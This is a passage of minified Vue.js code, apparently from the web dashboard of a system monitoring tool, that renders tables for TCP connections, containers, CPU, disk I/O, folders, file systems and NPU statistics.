margin-bottom\"},Om={class:\"text-end\"},Tm={class:\"text-end\"},Nm={class:\"text-end\"},Fm={class:\"text-end\"};const Mm={props:{data:{type:Object}},computed:{stats(){return this.data.stats.connections},view(){return this.data.views.connections},listen(){return this.stats.LISTEN},initiated(){return this.stats.initiated},established(){return this.stats.ESTABLISHED},terminated(){return this.stats.terminated},tracked(){return{count:this.stats.nf_conntrack_count,max:this.stats.nf_conntrack_max}}},methods:{getDecoration(t){if(void 0!==this.view[t])return this.view[t].decoration.toLowerCase()}}},jm=(0,am.A)(Mm,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",Dm,[Wu(\"table\",Bm,[e[5]||(e[5]=Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",{scope:\"col\"},\"TCP CONNECTIONS\"),Wu(\"th\",{scope:\"col\",class:\"text-end\"})])],-1)),Wu(\"tbody\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"td\",{scope:\"row\"},\"Listen\",-1)),Wu(\"td\",Om,Ds(o.listen),1)]),Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{scope:\"row\"},\"Initiated\",-1)),Wu(\"td\",Tm,Ds(o.initiated),1)]),Wu(\"tr\",null,[e[2]||(e[2]=Wu(\"td\",{scope:\"row\"},\"Established\",-1)),Wu(\"td\",Nm,Ds(o.established),1)]),Wu(\"tr\",null,[e[3]||(e[3]=Wu(\"td\",{scope:\"row\"},\"Terminated\",-1)),Wu(\"td\",Fm,Ds(o.terminated),1)]),Wu(\"tr\",null,[e[4]||(e[4]=Wu(\"td\",{scope:\"row\"},\"Tracked\",-1)),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(\"nf_conntrack_percent\")])},Ds(o.tracked.count)+\"/\"+Ds(o.tracked.max),3)])])])])}]]),Pm={key:0,id:\"containers\",class:\"plugin\"},Rm={class:\"table-responsive d-md-none\"},Lm={class:\"table table-sm table-borderless table-striped table-hover\"},Qm={scope:\"col\"},Gm={scope:\"col\"},Wm={scope:\"col\"},Um={scope:\"col\"},Km={class:\"table-responsive d-none d-md-block\"},Hm={class:\"table table-sm table-borderless table-striped table-hover\"},Ym={scope:\"col\"},Jm={scope:\"col\"},qm={scope:\"col\"},Zm={scope:\"col\"},Vm={scope:\"col\"},zm={scope:\"col\"},Xm={scope:\"col\"},$m={scope:\"col\"},th={scope:\"col\"},eh={scope:\"col\"},rh={scope:\"col\"};const nh={props:{data:{type:Object}},data:()=>({store:ym,sorter:void 0}),computed:{args(){return this.store.args||{}},sortProcessesKey(){return this.args.sort_processes_key},stats(){return this.data.stats.containers},views(){return this.data.views.containers},containers(){const{sorter:t}=this,e=(this.stats||[]).map(t=>{let e;return null!=t.memory_usage?(e=t.memory_usage,null!=t.memory_inactive_file&&(e-=t.memory_inactive_file)):e=void 0,{id:t.id,name:t.name,status:t.status,uptime:t.uptime,cpu_percent:t.cpu.total,memory_usage:e,limit:t.memory.limit,io_rx:t.io_rx,io_wx:t.io_wx,network_rx:t.network_rx,network_tx:t.network_tx,ports:t.ports,command:t.command,image:t.image,engine:t.engine,pod_id:t.pod_id}});return(0,fm.orderBy)(e,[t.column].map(t=>e=>e[\"memory_percent\"===t?\"memory_usage\":t]??-1/0,[]),[t.isReverseColumn(t.column)?\"desc\":\"asc\"])},showEngine(){return this.views.show_engine_name},showPod(){return this.views.show_pod_name}},watch:{sortProcessesKey:{immediate:!0,handler(t){t&&![\"cpu_percent\",\"memory_percent\",\"name\"].includes(t)||(this.sorter={column:this.args.sort_processes_key||\"cpu_percent\",auto:!this.args.sort_processes_key,isReverseColumn:function(t){return![\"name\"].includes(t)},getColumnLabel:function(t){return{io_counters:\"disk IO\",cpu_percent:\"CPU consumption\",memory_usage:\"memory consumption\",cpu_times:\"uptime\",name:\"container name\",None:\"None\"}[t]||t}})}}},methods:{getDisableStats:()=>vm.getLimit(\"containers\",\"containers_disable_stats\")||[],getStatusClass(t){const e=t.toLowerCase();return[\"running\",\"healthy\"].includes(e)?\"ok\":[\"dead\",\"unhealthy\"].includes(e)?\"error\":[\"created\",\"exited\"].includes(e)?\"warning\":[\"paused\",\"restarting\"].includes(e)?\"careful\":\"info\"}}},ih=(0,am.A)(nh,[[\"render\",function(t,e,r,n,i,o){return o.containers.length?(Ou(),ju(\"section\",Pm,[e[6]||(e[6]=Wu(\"span\",{class:\"title\"},\"CONTAINERS\",-1)),Bl(Wu(\"span\",null,Ds(o.containers.length)+\" sorted by \"+Ds(i.sorter.getColumnLabel(i.sorter.column)),513),[[Od,o.containers.length>1]]),Wu(\"div\",Rm,[Wu(\"table\",Lm,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",Qm,\"Pod\",512),[[Od,o.showPod]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"name\"===i.sorter.column&&\"sort\"]),onClick:e[0]||(e[0]=t=>o.args.sort_processes_key=\"name\")},\" Name \",2),[[Od,!o.getDisableStats().includes(\"name\")]]),Bl(Wu(\"td\",Gm,\"Status\",512),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"cpu_percent\"===i.sorter.column&&\"sort\"]),onClick:e[1]||(e[1]=t=>o.args.sort_processes_key=\"cpu_percent\")},\" CPU% \",2),[[Od,!o.getDisableStats().includes(\"cpu\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"memory_percent\"===i.sorter.column&&\"sort\"]),onClick:e[2]||(e[2]=t=>o.args.sort_processes_key=\"memory_percent\")},\" MEM \",2),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",Wm,\"MAX\",512),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",Um,\"Command\",512),[[Od,!o.getDisableStats().includes(\"command\")]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.containers,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Bl(Wu(\"td\",{scope:\"row\"},Ds(e.pod_id||\"-\"),513),[[Od,o.showPod]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.name),513),[[Od,!o.getDisableStats().includes(\"name\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getStatusClass(e.status))},Ds(e.status),3),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(t.$filters.number(e.cpu_percent,1)),513),[[Od,!o.getDisableStats().includes(\"cpu\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.memory_usage??NaN)?\"-\":t.$filters.bytes(e.memory_usage)),513),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.limit??NaN)?\"-\":t.$filters.bytes(e.limit)),513),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.ports),513),[[Od,!o.getDisableStats().includes(\"ports\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.command),513),[[Od,!o.getDisableStats().includes(\"command\")]])]))),128))])])]),Wu(\"div\",Km,[Wu(\"table\",Hm,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",Ym,\"Engine\",512),[[Od,o.showEngine]]),Bl(Wu(\"td\",Jm,\"Pod\",512),[[Od,o.showPod]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"name\"===i.sorter.column&&\"sort\"]),onClick:e[3]||(e[3]=t=>o.args.sort_processes_key=\"name\")},\" Name \",2),[[Od,!o.getDisableStats().includes(\"name\")]]),Bl(Wu(\"td\",qm,\"Status\",512),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",Zm,\"Uptime\",512),[[Od,!o.getDisableStats().includes(\"uptime\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"cpu_percent\"===i.sorter.column&&\"sort\"]),onClick:e[4]||(e[4]=t=>o.args.sort_processes_key=\"cpu_percent\")},\" CPU% \",2),[[Od,!o.getDisableStats().includes(\"cpu\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"memory_percent\"===i.sorter.column&&\"sort\"]),onClick:e[5]||(e[5]=t=>o.args.sort_processes_key=\"memory_percent\")},\" MEM \",2),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",Vm,\"MAX\",512),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",zm,\"IORps\",512),[[Od,!o.getDisableStats().includes(\"diskio\")]]),Bl(Wu(\"td\",Xm,\"IOWps\",512),[[Od,!o.getDisableStats().includes(\"diskio\")]]),Bl(Wu(\"td\",$m,\"RXps\",512),[[Od,!o.getDisableStats().includes(\"networkio\")]]),Bl(Wu(\"td\",th,\"TXps\",512),[[Od,!o.getDisableStats().includes(\"networkio\")]]),Bl(Wu(\"td\",eh,\"Ports\",512),[[Od,!o.getDisableStats().includes(\"ports\")]]),Bl(Wu(\"td\",rh,\"Command\",512),[[Od,!o.getDisableStats().includes(\"command\")]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.containers,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Bl(Wu(\"td\",{scope:\"row\"},Ds(e.engine),513),[[Od,o.showEngine]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.pod_id||\"-\"),513),[[Od,o.showPod]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.name),513),[[Od,!o.getDisableStats().includes(\"name\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getStatusClass(e.status))},Ds(e.status),3),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.uptime),513),[[Od,!o.getDisableStats().includes(\"uptime\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(t.$filters.number(e.cpu_percent,1)),513),[[Od,!o.getDisableStats().includes(\"cpu\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.memory_usage??NaN)?\"-\":t.$filters.bytes(e.memory_usage)),513),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.limit??NaN)?\"-\":t.$filters.bytes(e.limit)),513),[[Od,!o.getDisableStats().includes(\"mem\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.io_rx??NaN)?\"-\":t.$filters.bytes(e.io_rx)),513),[[Od,!o.getDisableStats().includes(\"iodisk\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.io_wx??NaN)?\"-\":t.$filters.bytes(e.io_wx)),513),[[Od,!o.getDisableStats().includes(\"iodisk\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.network_rx??NaN)?\"-\":t.$filters.bits(e.network_rx)),513),[[Od,!o.getDisableStats().includes(\"networkio\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(isNaN(e.network_tx??NaN)?\"-\":t.$filters.bits(e.network_tx)),513),[[Od,!o.getDisableStats().includes(\"networkio\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.ports),513),[[Od,!o.getDisableStats().includes(\"ports\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.command),513),[[Od,!o.getDisableStats().includes(\"command\")]])]))),128))])])])])):qu(\"v-if\",!0)}]]),oh={id:\"cpu\",class:\"plugin\"},sh={class:\"table-responsive\"},ah={class:\"table-sm table-borderless\"},lh={class:\"justify-content-between\"},ch={scope:\"col\"},uh={class:\"table table-sm table-borderless\"},dh={key:0,scope:\"col\"},ph={class:\"d-none d-xl-block d-xxl-block\"},mh={class:\"table table-sm table-borderless\"},hh={scope:\"col\"},gh={scope:\"col\",class:\"text-end\"},fh={scope:\"col\"},bh={scope:\"col\",class:\"text-end\"},Ah={scope:\"col\"},yh={scope:\"col\",class:\"text-end\"},vh={key:0,scope:\"col\"},xh={scope:\"col\"},wh={class:\"d-none d-xxl-block\"},_h={class:\"table table-sm table-borderless\"},kh={key:0,scope:\"col\"},Ch={scope:\"col\"},Ih={scope:\"col\",class:\"text-end\"},Sh={key:0,scope:\"col\"},Eh={key:1,scope:\"col\",class:\"text-end\"},Dh={key:0,scope:\"col\"},Bh={key:1,scope:\"col\",class:\"text-end\"};const Oh={props:{data:{type:Object}},computed:{stats(){return this.data.stats.cpu},view(){return this.data.views.cpu},isLinux(){return this.data.isLinux},isSunOS(){return this.data.isSunOS},isWindows(){return this.data.isWindows},total(){return this.stats.total},user(){return this.stats.user},system(){return this.stats.system},idle(){return this.stats.idle},nice(){return this.stats.nice},irq(){return this.stats.irq},iowait(){return this.stats.iowait},dpc(){return this.stats.dpc},steal(){return this.stats.steal},guest(){return this.stats.guest},ctx_switches(){const{stats:t}=this;return t.ctx_switches?Math.floor(t.ctx_switches/t.time_since_update):null},interrupts(){const{stats:t}=this;return t.interrupts?Math.floor(t.interrupts/t.time_since_update):null},soft_interrupts(){const{stats:t}=this;return t.soft_interrupts?Math.floor(t.soft_interrupts/t.time_since_update):null},syscalls(){const{stats:t}=this;return t.syscalls?Math.floor(t.syscalls/t.time_since_update):null}},methods:{getDecoration(t){if(void 0!==this.view[t])return this.view[t].decoration.toLowerCase()}}},Th=(0,am.A)(Oh,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",oh,[qu(\" d-none d-xxl-block \"),Wu(\"div\",sh,[Wu(\"table\",ah,[Wu(\"tbody\",null,[Wu(\"tr\",lh,[Wu(\"td\",ch,[Wu(\"table\",uh,[Wu(\"tbody\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"CPU\",-1)),Wu(\"td\",{scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"total\")])},[Wu(\"span\",null,Ds(o.total)+\"%\",1)],2)]),Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{scope:\"col\"},\"user:\",-1)),Wu(\"td\",{scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"user\")])},[Wu(\"span\",null,Ds(o.user)+\"%\",1)],2)]),Wu(\"tr\",null,[e[2]||(e[2]=Wu(\"td\",{scope:\"col\"},\"system:\",-1)),Wu(\"td\",{scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"system\")])},[Wu(\"span\",null,Ds(o.system)+\"%\",1)],2)]),Wu(\"tr\",null,[null!=o.iowait?(Ou(),ju(\"td\",dh,\"iowait:\")):qu(\"v-if\",!0),null!=o.iowait?(Ou(),ju(\"td\",{key:1,scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"iowait\")])},[Wu(\"span\",null,Ds(o.iowait)+\"%\",1)],2)):qu(\"v-if\",!0)])])])]),Wu(\"td\",null,[Wu(\"template\",ph,[Wu(\"table\",mh,[Wu(\"tbody\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",hh,\"idle:\",512),[[Od,null!=o.idle]]),Bl(Wu(\"td\",gh,[Wu(\"span\",null,Ds(o.idle)+\"%\",1)],512),[[Od,null!=o.idle]])]),Wu(\"tr\",null,[Bl(Wu(\"td\",fh,\"irq:\",512),[[Od,null!=o.irq]]),Bl(Wu(\"td\",bh,[Wu(\"span\",null,Ds(o.irq)+\"%\",1)],512),[[Od,null!=o.irq]])]),Wu(\"tr\",null,[Bl(Wu(\"td\",Ah,\"nice:\",512),[[Od,null!=o.nice]]),Bl(Wu(\"td\",yh,[Wu(\"span\",null,Ds(o.nice)+\"%\",1)],512),[[Od,null!=o.nice]])]),Wu(\"tr\",null,[null==o.iowait&&null!=o.dpc?(Ou(),ju(\"td\",vh,\"dpc:\")):qu(\"v-if\",!0),null==o.iowait&&null!=o.dpc?(Ou(),ju(\"td\",{key:1,scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"dpc\")])},[Wu(\"span\",null,Ds(o.dpc)+\"%\",1)],2)):qu(\"v-if\",!0),Bl(Wu(\"td\",xh,\"steal:\",512),[[Od,null!=o.steal]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"steal\")])},[Wu(\"span\",null,Ds(o.steal)+\"%\",1)],2),[[Od,null!=o.steal]])])])])])]),Wu(\"td\",null,[Wu(\"template\",wh,[Wu(\"table\",_h,[Wu(\"tbody\",null,[Wu(\"tr\",null,[null!=o.nice&&null!=o.ctx_switches?(Ou(),ju(\"td\",kh,\" ctx_sw:\")):qu(\"v-if\",!0),null!=o.nice&&null!=o.ctx_switches?(Ou(),ju(\"td\",{key:1,scope:\"col\",class:_s([\"text-end\",o.getDecoration(\"ctx_switches\")])},[Wu(\"span\",null,Ds(o.ctx_switches),1)],2)):qu(\"v-if\",!0)]),Wu(\"tr\",null,[Bl(Wu(\"td\",Ch,\"inter:\",512),[[Od,null!=o.interrupts]]),Bl(Wu(\"td\",Ih,[Wu(\"span\",null,Ds(o.interrupts),1)],512),[[Od,null!=o.interrupts]])]),Wu(\"tr\",null,[o.isWindows||o.isSunOS||null==o.soft_interrupts?qu(\"v-if\",!0):(Ou(),ju(\"td\",Sh,\"sw_int: \")),o.isWindows||o.isSunOS||null==o.soft_interrupts?qu(\"v-if\",!0):(Ou(),ju(\"td\",Eh,[Wu(\"span\",null,Ds(o.soft_interrupts),1)]))]),Wu(\"tr\",null,[o.isLinux&&null!=o.guest?(Ou(),ju(\"td\",Dh,\"guest:\")):qu(\"v-if\",!0),o.isLinux&&null!=o.guest?(Ou(),ju(\"td\",Bh,[Wu(\"span\",null,Ds(o.guest)+\"%\",1)])):qu(\"v-if\",!0)])])])])])])])])])])}]]),Nh={key:0,id:\"diskio\",class:\"plugin\"},Fh={class:\"table table-sm table-borderless margin-bottom\"},Mh={scope:\"col\",class:\"text-end w-25\"},jh={scope:\"col\",class:\"text-end w-25\"},Ph={scope:\"col\",class:\"text-end w-25\"},Rh={scope:\"col\",class:\"text-end w-25\"},Lh={scope:\"col\",class:\"text-end w-25\"},Qh={scope:\"col\",class:\"text-end w-25\"},Gh={scope:\"row\",class:\"text-truncate\"};var Wh=r(4728),Uh=r.n(Wh);function Kh(t,e){return Hh(t=8*Math.round(t),e)+\"b\"}function Hh(t,e){if(e=e||!1,isNaN(parseFloat(t))||!isFinite(t)||0==t)return t;const r=[\"Y\",\"Z\",\"E\",\"P\",\"T\",\"G\",\"M\",\"K\"],n={Y:12089258196146292e8,Z:11805916207174113e5,E:0x1000000000000000,P:0x4000000000000,T:1099511627776,G:1073741824,M:1048576,K:1024};for(var i=0;i<r.length;i++){var o=r[i],s=t/n[o];if(s>1){var a=0;return s<10?a=2:s<100&&(a=1),e?a=\"MK\"==o?0:(0,fm.min)([1,a]):\"K\"==o&&(a=0),parseFloat(s).toFixed(a)+o}}return t.toFixed(0)}function Yh(t){return void 0===t||\"\"===t?\"?\":t}function Jh(t,e,r){return e=e||0,r=r||\" \",String(t).padStart(e,r)}function qh(t,e){return\"function\"!=typeof t.slice&&(t=String(t)),t.slice(0,e)}function Zh(t,e,r=!0){return e=e||8,t.length>e?r?t.substring(0,e-1)+\"_\":\"_\"+t.substring(t.length-e+1):t}function Vh(t){if(void 0===t)return t;var e=function(t){var e=document.createElement(\"div\");return e.innerText=t,e.innerHTML}(t),r=e.replace(/\\n/g,\"<br>\");return Uh()(r)}function zh(t,e){return void 0===t||isNaN(t)?\"-\":new Intl.NumberFormat(\"en-US\",\"number\"==typeof e?{maximumFractionDigits:e}:e).format(t)}function Xh(t){for(var e=0,r=0;r<t.length;r++)e+=1e3*t[r];return e}function $h(t){var e=Xh(t),r=new Date(e),n=Math.floor((r-new Date(r.getUTCFullYear(),0,0))/1e3/60/60/24);return{hours:r.getUTCHours()+24*(n-1),minutes:r.getUTCMinutes(),seconds:r.getUTCSeconds(),milliseconds:parseInt(\"\"+r.getUTCMilliseconds()/10)}}function tg(t){return Object.entries(t).map(([t,e])=>`${t}: ${e}`).join(\" / \")}const eg={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.diskio},view(){return this.data.views.diskio},disks(){const t=this.stats.map(t=>({name:t.disk_name,alias:void 0!==t.alias?t.alias:null,bitrate:{txps:Hh(t.read_bytes_rate_per_sec),rxps:Hh(t.write_bytes_rate_per_sec)},count:{txps:Hh(t.read_count_rate_per_sec),rxps:Hh(t.write_count_rate_per_sec)},latency:{txps:Hh(t.read_latency),rxps:Hh(t.write_latency)}})).filter(t=>{const e=this.view[t.name].read_bytes_rate_per_sec,r=this.view[t.name].write_bytes_rate_per_sec;return!(e&&!1!==e.hidden||r&&!1!==r.hidden)});return(0,fm.orderBy)(t,[\"name\"])},hasDisks(){return this.disks.length>0}},methods:{getDecoration(t,e){return null==this.view[t][e]?null==this.view[e]?void 0:this.view[e].decoration.toLowerCase():this.view[t][e].decoration.toLowerCase()}}},rg=(0,am.A)(eg,[[\"render\",function(t,e,r,n,i,o){return o.hasDisks?(Ou(),ju(\"section\",Nh,[Wu(\"table\",Fh,[Wu(\"thead\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"DISK I/O\",-1)),Bl(Wu(\"th\",Mh,\"Rps\",512),[[Od,!o.args.diskio_iops&&!o.args.diskio_latency]]),Bl(Wu(\"th\",jh,\"Wps\",512),[[Od,!o.args.diskio_iops&&!o.args.diskio_latency]]),Bl(Wu(\"th\",Ph,\"ms/opR\",512),[[Od,o.args.diskio_latency]]),Bl(Wu(\"th\",Rh,\"ms/opW\",512),[[Od,o.args.diskio_latency]]),Bl(Wu(\"th\",Lh,\"IORps\",512),[[Od,o.args.diskio_iops]]),Bl(Wu(\"th\",Qh,\"IOWps\",512),[[Od,o.args.diskio_iops]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.disks,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",Gh,Ds(t.$filters.minSize(e.alias?e.alias:e.name,16)),1),Bl(Wu(\"td\",{class:_s([\"text-end w-25\",o.getDecoration(e.name,\"write_bytes_rate_per_sec\")])},Ds(e.bitrate.txps),3),[[Od,!o.args.diskio_iops&&!o.args.diskio_latency]]),Bl(Wu(\"td\",{class:_s([\"text-end w-25\",o.getDecoration(e.name,\"read_bytes_rate_per_sec\")])},Ds(e.bitrate.rxps),3),[[Od,!o.args.diskio_iops&&!o.args.diskio_latency]]),Bl(Wu(\"td\",{class:_s([\"text-end w-25\",o.getDecoration(e.name,\"write_latency\")])},Ds(e.latency.txps),3),[[Od,o.args.diskio_latency]]),Bl(Wu(\"td\",{class:_s([\"text-end w-25\",o.getDecoration(e.name,\"read_latency\")])},Ds(e.latency.rxps),3),[[Od,o.args.diskio_latency]]),Bl(Wu(\"td\",{class:\"text-end w-25\"},Ds(e.count.txps),513),[[Od,o.args.diskio_iops]]),Bl(Wu(\"td\",{class:\"text-end w-25\"},Ds(e.count.rxps),513),[[Od,o.args.diskio_iops]])]))),128))])])])):qu(\"v-if\",!0)}]]),ng={key:0,id:\"folders\",class:\"plugin\"},ig={class:\"table table-sm table-borderless margin-bottom\"},og={scope:\"row\"},sg={key:0,class:\"visible-lg-inline\"};const ag={props:{data:{type:Object}},computed:{stats(){return this.data.stats.folders},folders(){return this.stats.map(t=>({path:t.path,size:t.size,errno:t.errno,careful:t.careful,warning:t.warning,critical:t.critical}))},hasFolders(){return this.folders.length>0}},methods:{getDecoration:t=>t.errno>0?\"error\":null!==t.critical&&t.size>1e6*t.critical?\"critical\":null!==t.warning&&t.size>1e6*t.warning?\"warning\":null!==t.careful&&t.size>1e6*t.careful?\"careful\":\"ok\"}},lg=(0,am.A)(ag,[[\"render\",function(t,e,r,n,i,o){return o.hasFolders?(Ou(),ju(\"section\",ng,[Wu(\"table\",ig,[e[0]||(e[0]=Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",{scope:\"col\"},\"FOLDERS\"),Wu(\"th\",{scope:\"col\",class:\"text-end\"},\"Size\")])],-1)),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.folders,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",og,Ds(e.path),1),Wu(\"td\",{class:_s([\"text-end\",o.getDecoration(e)])},[e.errno>0?(Ou(),ju(\"span\",sg,\"?\")):qu(\"v-if\",!0),Yu(\" \"+Ds(t.$filters.bytes(e.size)),1)],2)]))),128))])])])):qu(\"v-if\",!0)}]]),cg={key:0,id:\"fs\",class:\"plugin\"},ug={class:\"table table-sm table-borderless margin-bottom\"},dg={key:0,scope:\"col\",class:\"text-end w-25\"},pg={key:1,scope:\"col\",class:\"text-end w-25\"},mg={scope:\"row\"},hg={key:0,class:\"visible-lg-inline\"},gg={scope:\"row\",class:\"text-end\"};const fg={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.fs},view(){return this.data.views.fs},fileSystems(){const t=this.stats.map(t=>({name:t.device_name,mountPoint:t.mnt_point,percent:t.percent,size:t.size,used:t.used,free:t.free,alias:void 0!==t.alias?t.alias:null}));return(0,fm.orderBy)(t,[\"mnt_point\"])},hasFs(){return this.fileSystems.length>0}},methods:{getDecoration(t,e){if(null!=this.view[t][e])return this.view[t][e].decoration.toLowerCase()}}},bg=(0,am.A)(fg,[[\"render\",function(t,e,r,n,i,o){return o.hasFs?(Ou(),ju(\"section\",cg,[Wu(\"table\",ug,[Wu(\"thead\",null,[Wu(\"tr\",null,[e[0]||(e[0]=Wu(\"th\",{scope:\"col\"},\"FILE SYSTEM\",-1)),o.args.fs_free_space?(Ou(),ju(\"th\",pg,\"Free\")):(Ou(),ju(\"th\",dg,\"Used\")),e[1]||(e[1]=Wu(\"th\",{scope:\"col\",class:\"text-end w-25\"},\"Total\",-1))])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.fileSystems,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",mg,[Yu(Ds(t.$filters.minSize(e.alias?e.alias:e.mountPoint,16,t.begin=!1))+\" \",1),(e.alias?e.alias:e.mountPoint).length+e.name.length<=15?(Ou(),ju(\"span\",hg,\" (\"+Ds(e.name)+\") \",1)):qu(\"v-if\",!0)]),o.args.fs_free_space?(Ou(),ju(\"td\",{key:1,scope:\"row\",class:_s([\"text-end\",o.getDecoration(e.mountPoint,\"used\")])},Ds(t.$filters.bytes(e.free)),3)):(Ou(),ju(\"td\",{key:0,scope:\"row\",class:_s([\"text-end\",o.getDecoration(e.mountPoint,\"used\")])},Ds(t.$filters.bytes(e.used)),3)),Wu(\"td\",gg,Ds(t.$filters.bytes(e.size)),1)]))),128))])])])):qu(\"v-if\",!0)}]]),Ag={key:0,id:\"npu\",class:\"plugin\"},yg={key:0,class:\"table-responsive\"},vg={class:\"title text-truncate\"},xg={class:\"table table-sm table-borderless\"},wg={class:\"col\"},_g={key:1,class:\"col text-end\"},kg={key:1,class:\"col text-end\"};const Cg={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},stats(){return this.data.stats.npu},view(){return this.data.views.npu},npus(){return this.stats}},methods:{getDecoration(t,e){if(void 0!==this.view[t][e])return this.view[t][e].decoration.toLowerCase()},getMeanDecoration:t=>\"DEFAULT\"}},Ig=(0,am.A)(Cg,[[\"render\",function(t,e,r,n,i,o){return null!=o.npus?(Ou(),ju(\"section\",Ag,[qu(\" single npu \"),1===o.npus.length?(Ou(),ju(\"div\",yg,[(Ou(!0),ju(Cu,null,vc(o.npus,(r,n)=>(Ou(),ju(Cu,{key:n},[Wu(\"div\",vg,Ds(r.name),1),Wu(\"table\",xg,[Wu(\"tbody\",null,[Wu(\"tr\",null,[null!=r.load?(Ou(),ju(\"td\",{key:0,class:_s([\"col\",o.getDecoration(r.npu_id,\"load\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.load,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==r.load?(Ou(),ju(\"td\",{key:1,class:_s([\"col\",o.getDecoration(r.npu_id,\"freq\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.freq,0))+\"%\",1)],2)):qu(\"v-if\",!0),Wu(\"td\",wg,[Wu(\"span\",null,Ds(t.$filters.number(r.freq_current/1e9,1))+\"/\"+Ds(t.$filters.number(r.freq_max/1e9,1))+\"GHz\",1)])]),Wu(\"tr\",null,[e[1]||(e[1]=Wu(\"td\",{class:\"col\"},\"mem:\",-1)),null!=r.mem?(Ou(),ju(\"td\",{key:0,class:_s([\"col text-end\",o.getDecoration(r.npu_id,\"mem\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.mem,0))+\"%\",1)],2)):qu(\"v-if\",!0),null==r.mem?(Ou(),ju(\"td\",_g,[...e[0]||(e[0]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)]),Wu(\"tr\",null,[e[3]||(e[3]=Wu(\"td\",{class:\"col\"},\"temp:\",-1)),null!=r.temperature?(Ou(),ju(\"td\",{key:0,class:_s([\"col text-end\",o.getDecoration(r.npu_id,\"temperature\")])},[Wu(\"span\",null,Ds(t.$filters.number(r.temperature,0))+\"C \",1)],2)):qu(\"v-if\",!0),null==r.temperature?(Ou(),ju(\"td\",kg,[...e[2]||(e[2]=[Wu(\"span\",null,\"N/A\",-1)])])):qu(\"v-if\",!0)])])])],64))),128))])):qu(\"v-if\",!0),qu(\" multiple npus - not implemented for the moment \")])):qu(\"v-if\",!0)}]]),Sg={key:0,id:\"gpu\",class:\"plugin\"},Eg={key:0,class:\"table-responsive\"},Dg={colspan:\"2\",class:\"title 